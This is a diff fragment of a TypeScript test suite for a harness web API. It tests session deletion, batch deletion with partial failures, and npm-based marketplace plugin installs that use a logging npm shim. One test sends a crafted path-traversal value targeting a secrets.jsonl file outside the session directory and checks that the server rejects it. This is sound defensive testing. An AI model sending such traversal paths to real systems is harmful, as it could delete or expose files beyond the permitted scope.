|
|
2966
|
+
sessionFile: undefined,
|
|
2967
|
+
messages: [],
|
|
2968
|
+
isStreaming: false,
|
|
2969
|
+
sessionManager: { getSessionDir: () => sessionDir, isPersisted: () => true, getEntries: () => [] },
|
|
2970
|
+
subscribe: () => () => {},
|
|
2971
|
+
};
|
|
2972
|
+
context.provide("piRuntime", { session, prompt: () => Promise.resolve() } as never);
|
|
2973
|
+
context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
|
|
2974
|
+
context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir: "/tmp/agent", args: [], requestExit() {} });
|
|
2975
|
+
await context.plugin(apiPlugin);
|
|
2976
|
+
const post = (body: unknown) =>
|
|
2977
|
+
fetch(context.webServer.url + "/api/session/delete", { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify(body) });
|
|
2978
|
+
|
|
2979
|
+
const pinned = await fetch(context.webServer.url + "/api/session/metadata", {
|
|
2980
|
+
method: "POST",
|
|
2981
|
+
headers: { "content-type": "application/json" },
|
|
2982
|
+
body: JSON.stringify({ path: target, pinned: true }),
|
|
2983
|
+
});
|
|
2984
|
+
expect(pinned.status).toBe(200);
|
|
2985
|
+
|
|
2986
|
+
const outside = await post({ path: victim, confirm: true });
|
|
2987
|
+
expect(outside.status).toBe(400);
|
|
2988
|
+
await expect(outside.json()).resolves.toEqual({ error: "Invalid session path" });
|
|
2989
|
+
// The literal `..` segment has to survive onto the wire: path.join would collapse it into the plain `outside` path and the request would no longer escape anything.
|
|
2990
|
+
const traversalPath = `${sessionDir}${sep}..${sep}secrets.jsonl`;
|
|
2991
|
+
expect(traversalPath).not.toBe(victim);
|
|
2992
|
+
const traversal = await post({ path: traversalPath, confirm: true });
|
|
2993
|
+
expect(traversal.status).toBe(400);
|
|
2994
|
+
await expect(traversal.json()).resolves.toEqual({ error: "Invalid session path" });
|
|
2995
|
+
const suffix = await post({ path: note, confirm: true });
|
|
2996
|
+
expect(suffix.status).toBe(400);
|
|
2997
|
+
const unconfirmed = await post({ path: target });
|
|
2998
|
+
expect(unconfirmed.status).toBe(400);
|
|
2999
|
+
await expect(unconfirmed.json()).resolves.toEqual({ error: "confirm must be true to delete a session" });
|
|
3000
|
+
await expect(readFile(victim, "utf8")).resolves.toBe("keep me\n");
|
|
3001
|
+
await expect(readFile(note, "utf8")).resolves.toBe("keep me\n");
|
|
3002
|
+
await expect(readFile(target, "utf8")).resolves.toBe("{}\n");
|
|
3003
|
+
|
|
3004
|
+
const deleted = await post({ path: target, confirm: true });
|
|
3005
|
+
expect(deleted.status).toBe(200);
|
|
3006
|
+
await expect(deleted.json()).resolves.toMatchObject({ deleted: true, path: target });
|
|
3007
|
+
await expect(stat(target)).rejects.toMatchObject({ code: "ENOENT" });
|
|
3008
|
+
expect(JSON.parse(await readFile(join(sessionDir, ".pi-harness-session-meta.json"), "utf8"))).toEqual({});
|
|
3009
|
+
});
|
|
3010
|
+
|
|
3011
|
+
test("keeps batch deletion going past a failing session and persists the metadata it did remove", async () => {
|
|
3012
|
+
const context = new Context();
|
|
3013
|
+
contexts.push(context);
|
|
3014
|
+
const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-batch-delete-"));
|
|
3015
|
+
temporaryDirectories.push(directory);
|
|
3016
|
+
const first = join(directory, "2026-08-30T00-00-00-000Z_first.jsonl");
|
|
3017
|
+
const missing = join(directory, "2026-08-30T00-00-01-000Z_missing.jsonl");
|
|
3018
|
+
const stuck = join(directory, "2026-08-30T00-00-02-000Z_stuck.jsonl");
|
|
3019
|
+
const last = join(directory, "2026-08-30T00-00-03-000Z_last.jsonl");
|
|
3020
|
+
await writeFile(first, "{}\n", "utf8");
|
|
3021
|
+
await writeFile(last, "{}\n", "utf8");
|
|
3022
|
+
// A directory cannot be unlinked, which is the closest reproducible stand-in for a session the harness is not allowed to remove.
|
|
3023
|
+
await mkdir(stuck);
|
|
3024
|
+
await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
|
|
3025
|
+
const session = {
|
|
3026
|
+
sessionId: "batch-delete-session",
|
|
3027
|
+
sessionFile: undefined,
|
|
3028
|
+
messages: [],
|
|
3029
|
+
isStreaming: false,
|
|
3030
|
+
sessionManager: { getSessionDir: () => directory, isPersisted: () => true, getEntries: () => [] },
|
|
3031
|
+
subscribe: () => () => {},
|
|
3032
|
+
};
|
|
3033
|
+
context.provide("piRuntime", { session, prompt: () => Promise.resolve() } as never);
|
|
3034
|
+
context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
|
|
3035
|
+
context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir: "/tmp/agent", args: [], requestExit() {} });
|
|
3036
|
+
await context.plugin(apiPlugin);
|
|
3037
|
+
|
|
3038
|
+
for (const path of [first, missing, stuck, last]) {
|
|
3039
|
+
const pinned = await fetch(context.webServer.url + "/api/session/metadata", {
|
|
3040
|
+
method: "POST",
|
|
3041
|
+
headers: { "content-type": "application/json" },
|
|
3042
|
+
body: JSON.stringify({ path, pinned: true }),
|
|
3043
|
+
});
|
|
3044
|
+
expect(pinned.status).toBe(200);
|
|
3045
|
+
}
|
|
3046
|
+
|
|
3047
|
+
const response = await fetch(context.webServer.url + "/api/sessions/batch", {
|
|
3048
|
+
method: "POST",
|
|
3049
|
+
headers: { "content-type": "application/json" },
|
|
3050
|
+
body: JSON.stringify({ action: "delete", paths: [first, missing, stuck, last], confirm: true }),
|
|
3051
|
+
});
|
|
3052
|
+
expect(response.status).toBe(409);
|
|
3053
|
+
await expect(response.json()).resolves.toMatchObject({ action: "delete", count: 3, failed: [{ path: stuck }] });
|
|
3054
|
+
await expect(stat(first)).rejects.toMatchObject({ code: "ENOENT" });
|
|
3055
|
+
await expect(stat(last)).rejects.toMatchObject({ code: "ENOENT" });
|
|
3056
|
+
expect((await stat(stuck)).isDirectory()).toBe(true);
|
|
3057
|
+
expect(JSON.parse(await readFile(join(directory, ".pi-harness-session-meta.json"), "utf8"))).toEqual({ [stuck]: { pinned: true } });
|
|
3058
|
+
});
|
|
3059
|
+
|
|
3060
|
+
test("installs a marketplace package into the package that owns the profile rather than the launch directory", async () => {
|
|
3061
|
+
const context = new Context();
|
|
3062
|
+
contexts.push(context);
|
|
3063
|
+
const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-npm-install-"));
|
|
3064
|
+
temporaryDirectories.push(directory);
|
|
3065
|
+
const harnessDir = join(directory, "harness");
|
|
3066
|
+
const profileDir = join(harnessDir, "profile");
|
|
3067
|
+
const workspace = join(directory, "workspace");
|
|
3068
|
+
const shimDirectory = join(directory, "bin");
|
|
3069
|
+
await mkdir(profileDir, { recursive: true });
|
|
3070
|
+
await mkdir(workspace);
|
|
3071
|
+
await mkdir(shimDirectory);
|
|
3072
|
+
await writeFile(join(harnessDir, "package.json"), '{ "name": "harness" }\n', "utf8");
|
|
3073
|
+
const configPath = join(profileDir, "cordis.yml");
|
|
3074
|
+
await writeFile(configPath, '- id: runtime\n name: "@pi-harness/core/plugins/runtime"\n config: {}\n', "utf8");
|
|
3075
|
+
const npmLog = join(directory, "npm.log");
|
|
3076
|
+
await writeFile(join(shimDirectory, "npm"), `#!/bin/sh\nprintf '%s|%s\\n' "$(pwd)" "$*" >> ${JSON.stringify(npmLog)}\n`, { mode: 0o755 });
|
|
3077
|
+
await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
|
|
3078
|
+
const session = { sessionId: "npm-install-session", sessionFile: undefined, messages: [], isStreaming: false, subscribe: () => () => {} };
|
|
3079
|
+
context.provide("piRuntime", { session, prompt: () => Promise.resolve() } as never);
|
|
3080
|
+
context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
|
|
3081
|
+
context.provide("piHarnessLaunch", { cwd: workspace, agentDir: workspace, configPath, args: [], requestExit() {} });
|
|
3082
|
+
const created: Array<{ name?: unknown }> = [];
|
|
3083
|
+
context.reflect.provide("loader", {
|
|
3084
|
+
entries: () => [],
|
|
3085
|
+
create: (options: { name?: unknown }) => {
|
|
3086
|
+
created.push(options);
|
|
3087
|
+
return Promise.resolve("marketplace-entry");
|
|
3088
|
+
},
|
|
3089
|
+
resolve: () => ({ fiber: { await: () => Promise.resolve() } }),
|
|
3090
|
+
remove: () => Promise.resolve(),
|
|
3091
|
+
});
|
|
3092
|
+
await context.plugin(apiPlugin);
|
|
3093
|
+
|
|
3094
|
+
const originalPath = process.env.PATH ?? "";
|
|
3095
|
+
process.env.PATH = `${shimDirectory}:${originalPath}`;
|
|
3096
|
+
let response: Response;
|
|
3097
|
+
try {
|
|
3098
|
+
response = await fetch(context.webServer.url + "/api/marketplace/install", {
|
|
3099
|
+
method: "POST",
|
|
3100
|
+
headers: { "content-type": "application/json" },
|
|
3101
|
+
body: JSON.stringify({ id: "cordis-timer" }),
|
|
3102
|
+
});
|
|
3103
|
+
} finally {
|
|
3104
|
+
process.env.PATH = originalPath;
|
|
3105
|
+
}
|
|
3106
|
+
|
|
3107
|
+
expect(response.status).toBe(200);
|
|
3108
|
+
await expect(response.json()).resolves.toMatchObject({ installed: true, plugin: { id: "cordis-timer" } });
|
|
3109
|
+
const invocations = (await readFile(npmLog, "utf8")).trim().split("\n");
|
|
3110
|
+
expect(invocations).toHaveLength(1);
|
|
3111
|
+
const [invocationCwd, invocationArgs] = (invocations[0] ?? "").split("|");
|
|
3112
|
+
expect(await realpath(invocationCwd ?? "")).toBe(await realpath(harnessDir));
|
|
3113
|
+
expect(invocationArgs).toMatch(/^install --save-exact --package-lock=false @deepseek-ai\/cordis-plugin-timer@\d/);
|
|
3114
|
+
expect(created).toHaveLength(1);
|
|
3115
|
+
await expect(readFile(configPath, "utf8")).resolves.toContain('name: "@deepseek-ai/cordis-plugin-timer"');
|
|
3116
|
+
await expect(stat(join(workspace, "package.json"))).rejects.toMatchObject({ code: "ENOENT" });
|
|
3117
|
+
});
|
|
3118
|
+
|
|
3119
|
+
test("hands npm the package name rather than the deep import path the profile entry uses", async () => {
|
|
3120
|
+
const context = new Context();
|
|
3121
|
+
contexts.push(context);
|
|
3122
|
+
const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-npm-subpath-"));
|
|
3123
|
+
temporaryDirectories.push(directory);
|
|
3124
|
+
const harnessDir = join(directory, "harness");
|
|
3125
|
+
const profileDir = join(harnessDir, "profile");
|
|
3126
|
+
const shimDirectory = join(directory, "bin");
|
|
3127
|
+
await mkdir(profileDir, { recursive: true });
|
|
3128
|
+
await mkdir(shimDirectory);
|
|
3129
|
+
await writeFile(join(harnessDir, "package.json"), '{ "name": "harness" }\n', "utf8");
|
|
3130
|
+
const configPath = join(profileDir, "cordis.yml");
|
|
3131
|
+
await writeFile(configPath, '- id: runtime\n name: "@pi-harness/core/plugins/runtime"\n config: {}\n', "utf8");
|
|
3132
|
+
const npmLog = join(directory, "npm.log");
|
|
3133
|
+
await writeFile(join(shimDirectory, "npm"), `#!/bin/sh\nprintf '%s\\n' "$*" >> ${JSON.stringify(npmLog)}\n`, { mode: 0o755 });
|
|
3134
|
+
await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
|
|
3135
|
+
const session = { sessionId: "npm-subpath-session", sessionFile: undefined, messages: [], isStreaming: false, subscribe: () => () => {} };
|
|
3136
|
+
context.provide("piRuntime", { session, prompt: () => Promise.resolve() } as never);
|
|
3137
|
+
context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
|
|
3138
|
+
context.provide("piHarnessLaunch", { cwd: harnessDir, agentDir: harnessDir, configPath, args: [], requestExit() {} });
|
|
3139
|
+
const created: Array<{ name?: unknown }> = [];
|
|
3140
|
+
context.reflect.provide("loader", {
|
|
3141
|
+
entries: () => [],
|
|
3142
|
+
create: (options: { name?: unknown }) => {
|
|
3143
|
+
created.push(options);
|
|
3144
|
+
return Promise.resolve("marketplace-entry");
|
|
3145
|
+
},
|
|
3146
|
+
resolve: () => ({ fiber: { await: () => Promise.resolve() } }),
|
|
3147
|
+
remove: () => Promise.resolve(),
|
|
3148
|
+
});
|
|
3149
|
+
await context.plugin(apiPlugin);
|
|
3150
|
+
|
|
3151
|
+
const originalPath = process.env.PATH ?? "";
|
|
3152
|
+
process.env.PATH = `${shimDirectory}:${originalPath}`;
|
|
3153
|
+
let response: Response;
|
|
3154
|
+
try {
|
|
3155
|
+
response = await fetch(context.webServer.url + "/api/marketplace/install", {
|
|
3156
|
+
method: "POST",
|
|
3157
|
+
headers: { "content-type": "application/json" },
|
|
3158
|
+
body: JSON.stringify({ id: subpathPlugin.id }),
|
|
3159
|
+
});
|
|
3160
|
+
} finally {
|
|
3161
|
+
process.env.PATH = originalPath;
|
|
3162
|
+
}
|
|
3163
|
+
|
|
3164
|
+
expect(response.status).toBe(200);
|
|
3165
|
+
await expect(response.json()).resolves.toMatchObject({ installed: true, plugin: { id: subpathPlugin.id } });
|
|
3166
|
+
// `npm install @example-scope/toolkit/plugins/subpath@1.2.3` is not a specifier npm can resolve, so the deep import path must be narrowed to its package before it reaches the process.
|
|
3167
|
+
expect((await readFile(npmLog, "utf8")).trim()).toBe("install --save-exact --package-lock=false @example-scope/toolkit@1.2.3");
|
|
3168
|
+
expect(created).toEqual([expect.objectContaining({ name: "@example-scope/toolkit/plugins/subpath" })]);
|
|
3169
|
+
await expect(readFile(configPath, "utf8")).resolves.toContain('name: "@example-scope/toolkit/plugins/subpath"');
|
|
3170
|
+
});
|
|
3171
|
+
|
|
3172
|
+
test("removes the files npm created when the installed marketplace plugin fails to load", async () => {
|
|
3173
|
+
const context = new Context();
|
|
3174
|
+
contexts.push(context);
|
|
3175
|
+
const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-npm-rollback-"));
|
|
3176
|
+
temporaryDirectories.push(directory);
|
|
3177
|
+
const harnessDir = join(directory, "harness");
|
|
3178
|
+
const profileDir = join(harnessDir, "profile");
|
|
3179
|
+
const shimDirectory = join(directory, "bin");
|
|
3180
|
+
await mkdir(profileDir, { recursive: true });
|
|
3181
|
+
await mkdir(shimDirectory);
|
|
3182
|
+
await writeFile(join(harnessDir, "package.json"), '{ "name": "harness" }\n', "utf8");
|
|
3183
|
+
const configPath = join(profileDir, "cordis.yml");
|
|
3184
|
+
const profileBefore = '- id: runtime\n name: "@pi-harness/core/plugins/runtime"\n config: {}\n';
|
|
3185
|
+
await writeFile(configPath, profileBefore, "utf8");
|
|
3186
|
+
await writeFile(join(shimDirectory, "npm"), '#!/bin/sh\nprintf \'{ "lockfileVersion": 3 }\\n\' > "$(pwd)/package-lock.json"\n', { mode: 0o755 });
|
|
3187
|
+
await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
|
|
3188
|
+
const session = { sessionId: "npm-rollback-session", sessionFile: undefined, messages: [], isStreaming: false, subscribe: () => () => {} };
|
|
3189
|
+
context.provide("piRuntime", { session, prompt: () => Promise.resolve() } as never);
|
|
3190
|
+
context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
|
|
3191
|
+
context.provide("piHarnessLaunch", { cwd: harnessDir, agentDir: harnessDir, configPath, args: [], requestExit() {} });
|
|
3192
|
+
context.reflect.provide("loader", {
|
|
3193
|
+
entries: () => [],
|
|
3194
|
+
create: () => Promise.reject(new Error("plugin entry failed to load")),
|
|
3195
|
+
remove: () => Promise.resolve(),
|
|
3196
|
+
});
|
|
3197
|
+
await context.plugin(apiPlugin);
|
|
3198
|
+
|
|
3199
|
+
const originalPath = process.env.PATH ?? "";
|
|
3200
|
+
process.env.PATH = `${shimDirectory}:${originalPath}`;
|
|
3201
|
+
let response: Response;
|
|
3202
|
+
try {
|
|
3203
|
+
response = await fetch(context.webServer.url + "/api/marketplace/install", {
|
|
3204
|
+
method: "POST",
|
|
3205
|
+
headers: { "content-type": "application/json" },
|
|
3206
|
+
body: JSON.stringify({ id: "cordis-timer" }),
|
|
3207
|
+
});
|
|
3208
|
+
} finally {
|
|
3209
|
+
process.env.PATH = originalPath;
|
|
3210
|
+
}
|
|
3211
|
+
|
|
3212
|
+
expect(response.status).toBe(502);
|
|
3213
|
+
await expect(response.json()).resolves.toEqual({ error: "plugin entry failed to load" });
|
|
3214
|
+
await expect(readFile(configPath, "utf8")).resolves.toBe(profileBefore);
|
|
3215
|
+
await expect(readFile(join(harnessDir, "package.json"), "utf8")).resolves.toBe('{ "name": "harness" }\n');
|
|
3216
|
+
await expect(stat(join(harnessDir, "package-lock.json"))).rejects.toMatchObject({ code: "ENOENT" });
|
|
3217
|
+
});
|
|
2422
3218
|
});
|